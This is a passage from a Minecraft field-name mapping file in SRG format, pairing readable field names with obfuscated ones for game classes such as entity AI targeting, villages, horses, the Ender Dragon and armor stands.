net/minecraft/entity/ai/EntityAIFindEntityNearestPlayer/sorter net/minecraft/entity/ai/EntityAIFindEntityNearestPlayer/field_179432_d +FD: net/minecraft/entity/ai/EntityAIFindEntityNearestPlayer/entityTarget net/minecraft/entity/ai/EntityAIFindEntityNearestPlayer/field_179433_e +FD: net/minecraft/entity/ai/EntityAINearestAttackableTarget$1/field_111103_c net/minecraft/entity/ai/EntityAINearestAttackableTarget$1/field_111103_c +FD: net/minecraft/entity/ai/EntityAINearestAttackableTarget$1/field_111102_d net/minecraft/entity/ai/EntityAINearestAttackableTarget$1/field_111102_d +FD: net/minecraft/entity/ai/EntityAINearestAttackableTarget$Sorter/theEntity net/minecraft/entity/ai/EntityAINearestAttackableTarget$Sorter/field_75459_b +FD: net/minecraft/entity/ai/EntityAINearestAttackableTarget/targetClass net/minecraft/entity/ai/EntityAINearestAttackableTarget/field_75307_b +FD: net/minecraft/entity/ai/EntityAINearestAttackableTarget/theNearestAttackableTargetSorter net/minecraft/entity/ai/EntityAINearestAttackableTarget/field_75306_g +FD: net/minecraft/entity/ai/EntityAINearestAttackableTarget/targetEntitySelector net/minecraft/entity/ai/EntityAINearestAttackableTarget/field_82643_g +FD: net/minecraft/entity/ai/EntityAINearestAttackableTarget/targetEntity net/minecraft/entity/ai/EntityAINearestAttackableTarget/field_75309_a +FD: net/minecraft/entity/ai/EntityAINearestAttackableTarget/targetChance net/minecraft/entity/ai/EntityAINearestAttackableTarget/field_75308_c +FD: net/minecraft/entity/ai/EntityAITargetNonTamed/theTameable net/minecraft/entity/ai/EntityAITargetNonTamed/field_75310_g +FD: net/minecraft/entity/ai/EntityAIOwnerHurtByTarget/theDefendingTameable net/minecraft/entity/ai/EntityAIOwnerHurtByTarget/field_75316_a +FD: net/minecraft/entity/ai/EntityAIOwnerHurtByTarget/theOwnerAttacker net/minecraft/entity/ai/EntityAIOwnerHurtByTarget/field_75315_b +FD: net/minecraft/entity/ai/EntityAIOwnerHurtByTarget/field_142051_e net/minecraft/entity/ai/EntityAIOwnerHurtByTarget/field_142051_e +FD: net/minecraft/entity/ai/EntityAIOwnerHurtTarget/theEntityTameable net/minecraft/entity/ai/EntityAIOwnerHurtTarget/field_75314_a +FD: net/minecraft/entity/ai/EntityAIOwnerHurtTarget/theTarget net/minecraft/entity/ai/EntityAIOwnerHurtTarget/field_75313_b +FD: net/minecraft/entity/ai/EntityAIOwnerHurtTarget/field_142050_e net/minecraft/entity/ai/EntityAIOwnerHurtTarget/field_142050_e +FD: net/minecraft/entity/ai/EntityAITarget/nearbyOnly net/minecraft/entity/ai/EntityAITarget/field_75303_a +FD: net/minecraft/entity/ai/EntityAITarget/targetSearchStatus net/minecraft/entity/ai/EntityAITarget/field_75301_b +FD: net/minecraft/entity/ai/EntityAITarget/targetSearchDelay net/minecraft/entity/ai/EntityAITarget/field_75302_c +FD: net/minecraft/entity/ai/EntityAITarget/targetUnseenTicks net/minecraft/entity/ai/EntityAITarget/field_75298_g +FD: net/minecraft/entity/ai/EntityAITarget/taskOwner net/minecraft/entity/ai/EntityAITarget/field_75299_d +FD: net/minecraft/entity/ai/EntityAITarget/shouldCheckSight net/minecraft/entity/ai/EntityAITarget/field_75297_f +FD: net/minecraft/pathfinding/PathNavigateGround/nodeProcessor net/minecraft/pathfinding/PathNavigateGround/field_179695_a +FD: net/minecraft/pathfinding/PathNavigateGround/shouldAvoidSun net/minecraft/pathfinding/PathNavigateGround/field_179694_f +FD: net/minecraft/pathfinding/PathNavigate/pathSearchRange net/minecraft/pathfinding/PathNavigate/field_75512_e +FD: net/minecraft/pathfinding/PathNavigate/theEntity net/minecraft/pathfinding/PathNavigate/field_75515_a +FD: net/minecraft/pathfinding/PathNavigate/worldObj net/minecraft/pathfinding/PathNavigate/field_75513_b +FD: net/minecraft/pathfinding/PathNavigate/currentPath net/minecraft/pathfinding/PathNavigate/field_75514_c +FD: net/minecraft/pathfinding/PathNavigate/speed net/minecraft/pathfinding/PathNavigate/field_75511_d +FD: net/minecraft/pathfinding/PathNavigate/totalTicks net/minecraft/pathfinding/PathNavigate/field_75510_g +FD: net/minecraft/pathfinding/PathNavigate/ticksAtLastPos net/minecraft/pathfinding/PathNavigate/field_75520_h +FD: net/minecraft/pathfinding/PathNavigate/lastPosCheck net/minecraft/pathfinding/PathNavigate/field_75521_i +FD: net/minecraft/pathfinding/PathNavigate/heightRequirement net/minecraft/pathfinding/PathNavigate/field_179682_i +FD: net/minecraft/pathfinding/PathNavigate/pathFinder net/minecraft/pathfinding/PathNavigate/field_179681_j +FD: net/minecraft/pathfinding/PathNavigateClimber/targetPosition net/minecraft/pathfinding/PathNavigateClimber/field_179696_f +FD: net/minecraft/entity/ai/EntitySenses/entityObj net/minecraft/entity/ai/EntitySenses/field_75526_a +FD: net/minecraft/entity/ai/EntitySenses/seenEntities net/minecraft/entity/ai/EntitySenses/field_75524_b +FD: net/minecraft/entity/ai/EntitySenses/unseenEntities net/minecraft/entity/ai/EntitySenses/field_75525_c +FD: net/minecraft/entity/ai/RandomPositionGenerator/staticVector net/minecraft/entity/ai/RandomPositionGenerator/field_75465_a +FD: net/minecraft/village/VillageDoorInfo/doorBlockPos net/minecraft/village/VillageDoorInfo/field_179859_a +FD: net/minecraft/village/VillageDoorInfo/insideBlock net/minecraft/village/VillageDoorInfo/field_179857_b +FD: net/minecraft/village/VillageDoorInfo/insideDirection net/minecraft/village/VillageDoorInfo/field_179858_c +FD: net/minecraft/village/VillageDoorInfo/lastActivityTimestamp net/minecraft/village/VillageDoorInfo/field_75475_f +FD: net/minecraft/village/VillageDoorInfo/isDetachedFromVillageFlag net/minecraft/village/VillageDoorInfo/field_75476_g +FD: net/minecraft/village/VillageDoorInfo/doorOpeningRestrictionCounter net/minecraft/village/VillageDoorInfo/field_75482_h +FD: net/minecraft/village/Village$VillageAggressor/agressor net/minecraft/village/Village$VillageAggressor/field_75592_a +FD: net/minecraft/village/Village$VillageAggressor/agressionTime net/minecraft/village/Village$VillageAggressor/field_75590_b +FD: net/minecraft/village/Village$VillageAggressor/field_75591_c net/minecraft/village/Village$VillageAggressor/field_75591_c +FD: net/minecraft/village/Village/worldObj net/minecraft/village/Village/field_75586_a +FD: net/minecraft/village/Village/villageDoorInfoList net/minecraft/village/Village/field_75584_b +FD: net/minecraft/village/Village/centerHelper net/minecraft/village/Village/field_75585_c +FD: net/minecraft/village/Village/center net/minecraft/village/Village/field_75582_d +FD: net/minecraft/village/Village/villageRadius net/minecraft/village/Village/field_75583_e +FD: net/minecraft/village/Village/lastAddDoorTimestamp net/minecraft/village/Village/field_75580_f +FD: net/minecraft/village/Village/tickCounter net/minecraft/village/Village/field_75581_g +FD: net/minecraft/village/Village/numVillagers net/minecraft/village/Village/field_75588_h +FD: net/minecraft/village/Village/noBreedTicks net/minecraft/village/Village/field_82694_i +FD: net/minecraft/village/Village/playerReputation net/minecraft/village/Village/field_82693_j +FD: net/minecraft/village/Village/villageAgressors net/minecraft/village/Village/field_75589_i +FD: net/minecraft/village/Village/numIronGolems net/minecraft/village/Village/field_75587_j +FD: net/minecraft/village/VillageSiege/worldObj net/minecraft/village/VillageSiege/field_75537_a +FD: net/minecraft/village/VillageSiege/field_75535_b net/minecraft/village/VillageSiege/field_75535_b +FD: net/minecraft/village/VillageSiege/field_75536_c net/minecraft/village/VillageSiege/field_75536_c +FD: net/minecraft/village/VillageSiege/field_75533_d net/minecraft/village/VillageSiege/field_75533_d +FD: net/minecraft/village/VillageSiege/field_75534_e net/minecraft/village/VillageSiege/field_75534_e +FD: net/minecraft/village/VillageSiege/theVillage net/minecraft/village/VillageSiege/field_75531_f +FD: net/minecraft/village/VillageSiege/field_75532_g net/minecraft/village/VillageSiege/field_75532_g +FD: net/minecraft/village/VillageSiege/field_75538_h net/minecraft/village/VillageSiege/field_75538_h +FD: net/minecraft/village/VillageSiege/field_75539_i net/minecraft/village/VillageSiege/field_75539_i +FD: net/minecraft/village/VillageCollection/worldObj net/minecraft/village/VillageCollection/field_75556_a +FD: net/minecraft/village/VillageCollection/villagerPositionsList net/minecraft/village/VillageCollection/field_75554_b +FD: net/minecraft/village/VillageCollection/newDoors net/minecraft/village/VillageCollection/field_75555_c +FD: net/minecraft/village/VillageCollection/villageList net/minecraft/village/VillageCollection/field_75552_d +FD: net/minecraft/village/VillageCollection/tickCounter net/minecraft/village/VillageCollection/field_75553_e +FD: net/minecraft/entity/passive/EntityBat/spawnPosition net/minecraft/entity/passive/EntityBat/field_82237_a +FD: net/minecraft/entity/passive/EntityAnimal/inLove net/minecraft/entity/passive/EntityAnimal/field_70881_d +FD: net/minecraft/entity/passive/EntityAnimal/spawnableBlock net/minecraft/entity/passive/EntityAnimal/field_175506_bl +FD: net/minecraft/entity/passive/EntityAnimal/playerInLove net/minecraft/entity/passive/EntityAnimal/field_146084_br +FD: net/minecraft/entity/passive/EntityChicken/wingRotation net/minecraft/entity/passive/EntityChicken/field_70886_e +FD: net/minecraft/entity/passive/EntityChicken/destPos net/minecraft/entity/passive/EntityChicken/field_70883_f +FD: net/minecraft/entity/passive/EntityChicken/field_70884_g net/minecraft/entity/passive/EntityChicken/field_70884_g +FD: net/minecraft/entity/passive/EntityChicken/field_70888_h net/minecraft/entity/passive/EntityChicken/field_70888_h +FD: net/minecraft/entity/passive/EntityChicken/wingRotDelta net/minecraft/entity/passive/EntityChicken/field_70889_i +FD: net/minecraft/entity/passive/EntityChicken/timeUntilNextEgg net/minecraft/entity/passive/EntityChicken/field_70887_j +FD: net/minecraft/entity/passive/EntityChicken/chickenJockey net/minecraft/entity/passive/EntityChicken/field_152118_bv +FD: net/minecraft/entity/passive/EntityHorse$GroupData/horseType net/minecraft/entity/passive/EntityHorse$GroupData/field_111107_a +FD: net/minecraft/entity/passive/EntityHorse$GroupData/horseVariant net/minecraft/entity/passive/EntityHorse$GroupData/field_111106_b +FD: net/minecraft/entity/passive/EntityHorse/HORSE_MARKING_TEXTURES_ABBR net/minecraft/entity/passive/EntityHorse/field_110292_bC +FD: net/minecraft/entity/passive/EntityHorse/eatingHaystackCounter net/minecraft/entity/passive/EntityHorse/field_110289_bD +FD: net/minecraft/entity/passive/EntityHorse/openMouthCounter net/minecraft/entity/passive/EntityHorse/field_110290_bE +FD: net/minecraft/entity/passive/EntityHorse/jumpRearingCounter net/minecraft/entity/passive/EntityHorse/field_110295_bF +FD: net/minecraft/entity/passive/EntityHorse/horseChest net/minecraft/entity/passive/EntityHorse/field_110296_bG +FD: net/minecraft/entity/passive/EntityHorse/hasReproduced net/minecraft/entity/passive/EntityHorse/field_110293_bH +FD: net/minecraft/entity/passive/EntityHorse/field_110294_bI net/minecraft/entity/passive/EntityHorse/field_110294_bI +FD: net/minecraft/entity/passive/EntityHorse/headLean net/minecraft/entity/passive/EntityHorse/field_110283_bJ +FD: net/minecraft/entity/passive/EntityHorse/prevHeadLean net/minecraft/entity/passive/EntityHorse/field_110284_bK +FD: net/minecraft/entity/passive/EntityHorse/rearingAmount net/minecraft/entity/passive/EntityHorse/field_110281_bL +FD: net/minecraft/entity/passive/EntityHorse/prevRearingAmount net/minecraft/entity/passive/EntityHorse/field_110282_bM +FD: net/minecraft/entity/passive/EntityHorse/mouthOpenness net/minecraft/entity/passive/EntityHorse/field_110287_bN +FD: net/minecraft/entity/passive/EntityHorse/prevMouthOpenness net/minecraft/entity/passive/EntityHorse/field_110288_bO +FD: net/minecraft/entity/passive/EntityHorse/gallopTime net/minecraft/entity/passive/EntityHorse/field_110285_bP +FD: net/minecraft/entity/passive/EntityHorse/texturePrefix net/minecraft/entity/passive/EntityHorse/field_110286_bQ +FD: net/minecraft/entity/passive/EntityHorse/horseTexturesArray net/minecraft/entity/passive/EntityHorse/field_110280_bR +FD: net/minecraft/entity/passive/EntityHorse/field_175508_bO net/minecraft/entity/passive/EntityHorse/field_175508_bO +FD: net/minecraft/entity/passive/EntityHorse/field_110278_bp net/minecraft/entity/passive/EntityHorse/field_110278_bp +FD: net/minecraft/entity/passive/EntityHorse/field_110279_bq net/minecraft/entity/passive/EntityHorse/field_110279_bq +FD: net/minecraft/entity/passive/EntityHorse/horseJumping net/minecraft/entity/passive/EntityHorse/field_110275_br +FD: net/minecraft/entity/passive/EntityHorse/temper net/minecraft/entity/passive/EntityHorse/field_110274_bs +FD: net/minecraft/entity/passive/EntityHorse/jumpPower net/minecraft/entity/passive/EntityHorse/field_110277_bt +FD: net/minecraft/entity/passive/EntityHorse/horseBreedingSelector net/minecraft/entity/passive/EntityHorse/field_110276_bu +FD: net/minecraft/entity/passive/EntityHorse/horseJumpStrength net/minecraft/entity/passive/EntityHorse/field_110271_bv +FD: net/minecraft/entity/passive/EntityHorse/horseArmorTextures net/minecraft/entity/passive/EntityHorse/field_110270_bw +FD: net/minecraft/entity/passive/EntityHorse/HORSE_ARMOR_TEXTURES_ABBR net/minecraft/entity/passive/EntityHorse/field_110273_bx +FD: net/minecraft/entity/passive/EntityHorse/armorValues net/minecraft/entity/passive/EntityHorse/field_110272_by +FD: net/minecraft/entity/passive/EntityHorse/horseTextures net/minecraft/entity/passive/EntityHorse/field_110268_bz +FD: net/minecraft/entity/passive/EntityHorse/HORSE_TEXTURES_ABBR net/minecraft/entity/passive/EntityHorse/field_110269_bA +FD: net/minecraft/entity/passive/EntityHorse/horseMarkingTextures net/minecraft/entity/passive/EntityHorse/field_110291_bB +FD: net/minecraft/entity/passive/EntityOcelot/avoidEntity net/minecraft/entity/passive/EntityOcelot/field_175545_bm +FD: net/minecraft/entity/passive/EntityOcelot/aiTempt net/minecraft/entity/passive/EntityOcelot/field_70914_e +FD: net/minecraft/entity/passive/EntityPig/aiControlledByPlayer net/minecraft/entity/passive/EntityPig/field_82184_d +FD: net/minecraft/entity/passive/EntityRabbit$EnumMoveType/NONE net/minecraft/entity/passive/EntityRabbit$EnumMoveType/NONE +FD: net/minecraft/entity/passive/EntityRabbit$EnumMoveType/HOP net/minecraft/entity/passive/EntityRabbit$EnumMoveType/HOP +FD: net/minecraft/entity/passive/EntityRabbit$EnumMoveType/STEP net/minecraft/entity/passive/EntityRabbit$EnumMoveType/STEP +FD: net/minecraft/entity/passive/EntityRabbit$EnumMoveType/SPRINT net/minecraft/entity/passive/EntityRabbit$EnumMoveType/SPRINT +FD: net/minecraft/entity/passive/EntityRabbit$EnumMoveType/ATTACK net/minecraft/entity/passive/EntityRabbit$EnumMoveType/ATTACK +FD: net/minecraft/entity/passive/EntityRabbit$EnumMoveType/speed net/minecraft/entity/passive/EntityRabbit$EnumMoveType/field_180076_f +FD: net/minecraft/entity/passive/EntityRabbit$EnumMoveType/field_180077_g net/minecraft/entity/passive/EntityRabbit$EnumMoveType/field_180077_g +FD: net/minecraft/entity/passive/EntityRabbit$EnumMoveType/duration net/minecraft/entity/passive/EntityRabbit$EnumMoveType/field_180084_h +FD: net/minecraft/entity/passive/EntityRabbit$EnumMoveType/field_180085_i net/minecraft/entity/passive/EntityRabbit$EnumMoveType/field_180085_i +FD: net/minecraft/entity/passive/EntityRabbit$EnumMoveType/$VALUES net/minecraft/entity/passive/EntityRabbit$EnumMoveType/$VALUES +FD: net/minecraft/entity/passive/EntityRabbit$AIAvoidEntity/entityInstance net/minecraft/entity/passive/EntityRabbit$AIAvoidEntity/field_179511_d +FD: net/minecraft/entity/passive/EntityRabbit$RabbitTypeData/typeData net/minecraft/entity/passive/EntityRabbit$RabbitTypeData/field_179427_a +FD: net/minecraft/entity/passive/EntityRabbit$RabbitJumpHelper/field_180069_b net/minecraft/entity/passive/EntityRabbit$RabbitJumpHelper/field_180069_b +FD: net/minecraft/entity/passive/EntityRabbit$RabbitJumpHelper/theEntity net/minecraft/entity/passive/EntityRabbit$RabbitJumpHelper/field_180070_c +FD: net/minecraft/entity/passive/EntityRabbit$RabbitJumpHelper/field_180068_d net/minecraft/entity/passive/EntityRabbit$RabbitJumpHelper/field_180068_d +FD: net/minecraft/entity/passive/EntityRabbit$RabbitMoveHelper/theEntity net/minecraft/entity/passive/EntityRabbit$RabbitMoveHelper/field_179929_g +FD: net/minecraft/entity/passive/EntityRabbit$AIPanic/theEntity net/minecraft/entity/passive/EntityRabbit$AIPanic/field_179486_b +FD: net/minecraft/entity/passive/EntityRabbit$AIRaidFarm/rabbit net/minecraft/entity/passive/EntityRabbit$AIRaidFarm/field_179500_c +FD: net/minecraft/entity/passive/EntityRabbit$AIRaidFarm/field_179498_d net/minecraft/entity/passive/EntityRabbit$AIRaidFarm/field_179498_d +FD: net/minecraft/entity/passive/EntityRabbit$AIRaidFarm/field_179499_e net/minecraft/entity/passive/EntityRabbit$AIRaidFarm/field_179499_e +FD: net/minecraft/entity/passive/EntityRabbit/aiAvoidWolves net/minecraft/entity/passive/EntityRabbit/field_175539_bk +FD: net/minecraft/entity/passive/EntityRabbit/field_175540_bm net/minecraft/entity/passive/EntityRabbit/field_175540_bm +FD: net/minecraft/entity/passive/EntityRabbit/field_175535_bn net/minecraft/entity/passive/EntityRabbit/field_175535_bn +FD: net/minecraft/entity/passive/EntityRabbit/field_175536_bo net/minecraft/entity/passive/EntityRabbit/field_175536_bo +FD: net/minecraft/entity/passive/EntityRabbit/field_175537_bp net/minecraft/entity/passive/EntityRabbit/field_175537_bp +FD: net/minecraft/entity/passive/EntityRabbit/currentMoveTypeDuration net/minecraft/entity/passive/EntityRabbit/field_175538_bq +FD: net/minecraft/entity/passive/EntityRabbit/moveType net/minecraft/entity/passive/EntityRabbit/field_175542_br +FD: net/minecraft/entity/passive/EntityRabbit/carrotTicks net/minecraft/entity/passive/EntityRabbit/field_175541_bs +FD: net/minecraft/entity/passive/EntityRabbit/field_175543_bt net/minecraft/entity/passive/EntityRabbit/field_175543_bt +FD: net/minecraft/entity/passive/EntitySheep$1/field_90034_a net/minecraft/entity/passive/EntitySheep$1/field_90034_a +FD: net/minecraft/entity/passive/EntitySheep/inventoryCrafting net/minecraft/entity/passive/EntitySheep/field_90016_e +FD: net/minecraft/entity/passive/EntitySheep/DYE_TO_RGB net/minecraft/entity/passive/EntitySheep/field_175514_bm +FD: net/minecraft/entity/passive/EntitySheep/sheepTimer net/minecraft/entity/passive/EntitySheep/field_70899_e +FD: net/minecraft/entity/passive/EntitySheep/entityAIEatGrass net/minecraft/entity/passive/EntitySheep/field_146087_bs +FD: net/minecraft/entity/passive/EntitySquid$AIMoveRandom/squid net/minecraft/entity/passive/EntitySquid$AIMoveRandom/field_179476_a +FD: net/minecraft/entity/passive/EntitySquid/squidPitch net/minecraft/entity/passive/EntitySquid/field_70861_d +FD: net/minecraft/entity/passive/EntitySquid/prevSquidPitch net/minecraft/entity/passive/EntitySquid/field_70862_e +FD: net/minecraft/entity/passive/EntitySquid/prevSquidYaw net/minecraft/entity/passive/EntitySquid/field_70860_g +FD: net/minecraft/entity/passive/EntitySquid/squidRotation net/minecraft/entity/passive/EntitySquid/field_70867_h +FD: net/minecraft/entity/passive/EntitySquid/prevSquidRotation net/minecraft/entity/passive/EntitySquid/field_70868_i +FD: net/minecraft/entity/passive/EntitySquid/tentacleAngle net/minecraft/entity/passive/EntitySquid/field_70866_j +FD: net/minecraft/entity/passive/EntitySquid/lastTentacleAngle net/minecraft/entity/passive/EntitySquid/field_70865_by +FD: net/minecraft/entity/passive/EntitySquid/randomMotionSpeed net/minecraft/entity/passive/EntitySquid/field_70863_bz +FD: net/minecraft/entity/passive/EntitySquid/rotationVelocity net/minecraft/entity/passive/EntitySquid/field_70864_bA +FD: net/minecraft/entity/passive/EntitySquid/field_70871_bB net/minecraft/entity/passive/EntitySquid/field_70871_bB +FD: net/minecraft/entity/passive/EntitySquid/randomMotionVecX net/minecraft/entity/passive/EntitySquid/field_70872_bC +FD: net/minecraft/entity/passive/EntitySquid/randomMotionVecY net/minecraft/entity/passive/EntitySquid/field_70869_bD +FD: net/minecraft/entity/passive/EntitySquid/randomMotionVecZ net/minecraft/entity/passive/EntitySquid/field_70870_bE +FD: net/minecraft/entity/passive/EntitySquid/squidYaw net/minecraft/entity/passive/EntitySquid/field_70859_f +FD: net/minecraft/entity/monster/EntityIronGolem$AINearestAttackableTargetNonCreeper$1/field_180099_a net/minecraft/entity/monster/EntityIronGolem$AINearestAttackableTargetNonCreeper$1/field_180099_a +FD: net/minecraft/entity/monster/EntityIronGolem$AINearestAttackableTargetNonCreeper$1/field_180097_b net/minecraft/entity/monster/EntityIronGolem$AINearestAttackableTargetNonCreeper$1/field_180097_b +FD: net/minecraft/entity/monster/EntityIronGolem$AINearestAttackableTargetNonCreeper$1/field_180098_c net/minecraft/entity/monster/EntityIronGolem$AINearestAttackableTargetNonCreeper$1/field_180098_c +FD: net/minecraft/entity/monster/EntityIronGolem/villageObj net/minecraft/entity/monster/EntityIronGolem/field_70857_d +FD: net/minecraft/entity/monster/EntityIronGolem/homeCheckTimer net/minecraft/entity/monster/EntityIronGolem/field_70858_e +FD: net/minecraft/entity/monster/EntityIronGolem/holdRoseTick net/minecraft/entity/monster/EntityIronGolem/field_70856_g +FD: net/minecraft/entity/monster/EntityIronGolem/attackTimer net/minecraft/entity/monster/EntityIronGolem/field_70855_f +FD: net/minecraft/command/CommandClone$StaticCloneData/pos net/minecraft/command/CommandClone$StaticCloneData/field_179537_a +FD: net/minecraft/command/CommandClone$StaticCloneData/blockState net/minecraft/command/CommandClone$StaticCloneData/field_179535_b +FD: net/minecraft/command/CommandClone$StaticCloneData/compound net/minecraft/command/CommandClone$StaticCloneData/field_179536_c +FD: net/minecraft/entity/passive/EntityWolf$1/field_180095_a net/minecraft/entity/passive/EntityWolf$1/field_180095_a +FD: net/minecraft/entity/passive/EntityWolf/headRotationCourse net/minecraft/entity/passive/EntityWolf/field_70926_e +FD: net/minecraft/entity/passive/EntityWolf/headRotationCourseOld net/minecraft/entity/passive/EntityWolf/field_70924_f +FD: net/minecraft/entity/passive/EntityWolf/isWet net/minecraft/entity/passive/EntityWolf/field_70925_g +FD: net/minecraft/entity/passive/EntityWolf/isShaking net/minecraft/entity/passive/EntityWolf/field_70928_h +FD: net/minecraft/entity/passive/EntityWolf/timeWolfIsShaking net/minecraft/entity/passive/EntityWolf/field_70929_i +FD: net/minecraft/entity/passive/EntityWolf/prevTimeWolfIsShaking net/minecraft/entity/passive/EntityWolf/field_70927_j +FD: net/minecraft/entity/boss/EntityDragonPart/entityDragonObj net/minecraft/entity/boss/EntityDragonPart/field_70259_a +FD: net/minecraft/entity/boss/EntityDragonPart/partName net/minecraft/entity/boss/EntityDragonPart/field_146032_b +FD: net/minecraft/entity/item/EntityEnderCrystal/innerRotation net/minecraft/entity/item/EntityEnderCrystal/field_70261_a +FD: net/minecraft/entity/item/EntityEnderCrystal/health net/minecraft/entity/item/EntityEnderCrystal/field_70260_b +FD: net/minecraft/entity/boss/EntityDragon/targetX net/minecraft/entity/boss/EntityDragon/field_70980_b +FD: net/minecraft/entity/boss/EntityDragon/targetY net/minecraft/entity/boss/EntityDragon/field_70981_c +FD: net/minecraft/entity/boss/EntityDragon/target net/minecraft/entity/boss/EntityDragon/field_70993_bI +FD: net/minecraft/entity/boss/EntityDragon/ringBuffer net/minecraft/entity/boss/EntityDragon/field_70979_e +FD: net/minecraft/entity/boss/EntityDragon/ringBufferIndex net/minecraft/entity/boss/EntityDragon/field_70976_f +FD: net/minecraft/entity/boss/EntityDragon/dragonPartArray net/minecraft/entity/boss/EntityDragon/field_70977_g +FD: net/minecraft/entity/boss/EntityDragon/dragonPartHead net/minecraft/entity/boss/EntityDragon/field_70986_h +FD: net/minecraft/entity/boss/EntityDragon/dragonPartBody net/minecraft/entity/boss/EntityDragon/field_70987_i +FD: net/minecraft/entity/boss/EntityDragon/dragonPartTail1 net/minecraft/entity/boss/EntityDragon/field_70985_j +FD: net/minecraft/entity/boss/EntityDragon/dragonPartTail2 net/minecraft/entity/boss/EntityDragon/field_70984_by +FD: net/minecraft/entity/boss/EntityDragon/dragonPartTail3 net/minecraft/entity/boss/EntityDragon/field_70982_bz +FD: net/minecraft/entity/boss/EntityDragon/dragonPartWing1 net/minecraft/entity/boss/EntityDragon/field_70983_bA +FD: net/minecraft/entity/boss/EntityDragon/dragonPartWing2 net/minecraft/entity/boss/EntityDragon/field_70990_bB +FD: net/minecraft/entity/boss/EntityDragon/prevAnimTime net/minecraft/entity/boss/EntityDragon/field_70991_bC +FD: net/minecraft/entity/boss/EntityDragon/animTime net/minecraft/entity/boss/EntityDragon/field_70988_bD +FD: net/minecraft/entity/boss/EntityDragon/forceNewTarget net/minecraft/entity/boss/EntityDragon/field_70989_bE +FD: net/minecraft/entity/boss/EntityDragon/slowed net/minecraft/entity/boss/EntityDragon/field_70994_bF +FD: net/minecraft/entity/boss/EntityDragon/deathTicks net/minecraft/entity/boss/EntityDragon/field_70995_bG +FD: net/minecraft/entity/boss/EntityDragon/healingEnderCrystal net/minecraft/entity/boss/EntityDragon/field_70992_bH +FD: net/minecraft/entity/boss/EntityDragon/targetZ net/minecraft/entity/boss/EntityDragon/field_70978_d +FD: net/minecraft/entity/boss/EntityWither/field_82220_d net/minecraft/entity/boss/EntityWither/field_82220_d +FD: net/minecraft/entity/boss/EntityWither/field_82221_e net/minecraft/entity/boss/EntityWither/field_82221_e +FD: net/minecraft/entity/boss/EntityWither/field_82218_g net/minecraft/entity/boss/EntityWither/field_82218_g +FD: net/minecraft/entity/boss/EntityWither/field_82223_h net/minecraft/entity/boss/EntityWither/field_82223_h +FD: net/minecraft/entity/boss/EntityWither/field_82224_i net/minecraft/entity/boss/EntityWither/field_82224_i +FD: net/minecraft/entity/boss/EntityWither/blockBreakCounter net/minecraft/entity/boss/EntityWither/field_82222_j +FD: net/minecraft/entity/boss/EntityWither/attackEntitySelector net/minecraft/entity/boss/EntityWither/field_82219_bJ +FD: net/minecraft/entity/boss/EntityWither/field_82217_f net/minecraft/entity/boss/EntityWither/field_82217_f +FD: net/minecraft/entity/item/EntityArmorStand/DEFAULT_HEAD_ROTATION net/minecraft/entity/item/EntityArmorStand/field_175435_a +FD: net/minecraft/entity/item/EntityArmorStand/DEFAULT_BODY_ROTATION net/minecraft/entity/item/EntityArmorStand/field_175433_b +FD: net/minecraft/entity/item/EntityArmorStand/disabledSlots net/minecraft/entity/item/EntityArmorStand/field_175442_bg +FD: net/minecraft/entity/item/EntityArmorStand/field_181028_bj net/minecraft/entity/item/EntityArmorStand/field_181028_bj +FD: net/minecraft/entity/item/EntityArmorStand/headRotation net/minecraft/entity/item/EntityArmorStand/field_175443_bh +FD: net/minecraft/entity/item/EntityArmorStand/bodyRotation net/minecraft/entity/item/EntityArmorStand/field_175444_bi +FD: net/minecraft/entity/item/EntityArmorStand/leftArmRotation net/minecraft/entity/item/EntityArmorStand/field_175438_bj +FD: net/minecraft/entity/item/EntityArmorStand/rightArmRotation net/minecraft/entity/item/EntityArmorStand/field_175439_bk +FD: net/minecraft/entity/item/EntityArmorStand/leftLegRotation net/minecraft/entity/item/EntityArmorStand/field_175440_bl +FD: net/minecraft/entity/item/EntityArmorStand/rightLegRotation net/minecraft/entity/item/EntityArmorStand/field_175441_bm +FD: net/minecraft/entity/item/EntityArmorStand/DEFAULT_LEFTARM_ROTATION net/minecraft/entity/item/EntityArmorStand/field_175434_c +FD: net/minecraft/entity/item/EntityArmorStand/DEFAULT_RIGHTARM_ROTATION net/minecraft/entity/item/EntityArmorStand/field_175431_d +FD: net/minecraft/entity/item/EntityArmorStand/DEFAULT_LEFTLEG_ROTATION net/minecraft/entity/item/EntityArmorStand/field_175432_e +FD: net/minecraft/entity/item/EntityArmorStand/DEFAULT_RIGHTLEG_ROTATION net/minecraft/entity/item/EntityArmorStand/field_175429_f +FD: net/minecraft/entity/item/EntityArmorStand/contents net/minecraft/entity/item/EntityArmorStand/field_175430_g +FD: net/minecraft/entity/item/EntityArmorStand/canInteract net/minecraft/entity/item/EntityArmorStand/field_175436_h +FD: net/minecraft/entity/item/EntityArmorStand/punchCooldown net/minecraft/entity/item/EntityArmorStand/field_175437_i +FD: net/minecraft/entity/EntityHanging/hangingPosition net/minecraft/entity/EntityHanging/field_174861_a +FD: net/minecraft/entity/EntityHanging/facingDirection net/minecraft/entity/EntityHanging/field_174860_b +FD: net/minecraft/entity/EntityHanging/tickCounter1 net/minecraft/entity/EntityHanging/field_70520_f +FD: net/minecraft/entity/item/EntityItemFrame/itemDropChance net/minecraft/entity/item/EntityItemFrame/field_82337_e +FD: net/minecraft/entity/item/EntityPainting$EnumArt/field_180001_A net/minecraft/entity/item/EntityPainting$EnumArt/field_180001_A +FD: net/minecraft/entity/item/EntityPainting$EnumArt/title net/minecraft/entity/item/EntityPainting$EnumArt/field_75702_A +FD: net/minecraft/entity/item/EntityPainting$EnumArt/sizeX net/minecraft/entity/item/EntityPainting$EnumArt/field_75703_B +FD: net/minecraft/entity/item/EntityPainting$EnumArt/sizeY net/minecraft/entity/item/EntityPainting$EnumArt/field_75704_C +FD: net/minecraft/entity/item/EntityPainting$EnumArt/offsetX net/minecraft/entity/item/EntityPainting$EnumArt/field_75699_D +FD: net/minecraft/entity/item/EntityPainting$EnumArt/offsetY net/minecraft/entity/item/EntityPainting$EnumArt/field_75700_E +FD: net/minecraft/entity/item/EntityPainting$EnumArt/$VALUES net/minecraft/entity/item/EntityPainting$EnumArt/$VALUES +FD: net/minecraft/entity/item/EntityPainting$EnumArt/KEBAB net/minecraft/entity/item/EntityPainting$EnumArt/KEBAB +FD: net/minecraft/entity/item/EntityPainting$EnumArt/AZTEC net/minecraft/entity/item/EntityPainting$EnumArt/AZTEC +FD: net/minecraft/entity/item/EntityPainting$EnumArt/ALBAN net/minecraft/entity/item/EntityPainting$EnumArt/ALBAN +FD: net/minecraft/entity/item/EntityPainting$EnumArt/AZTEC_2 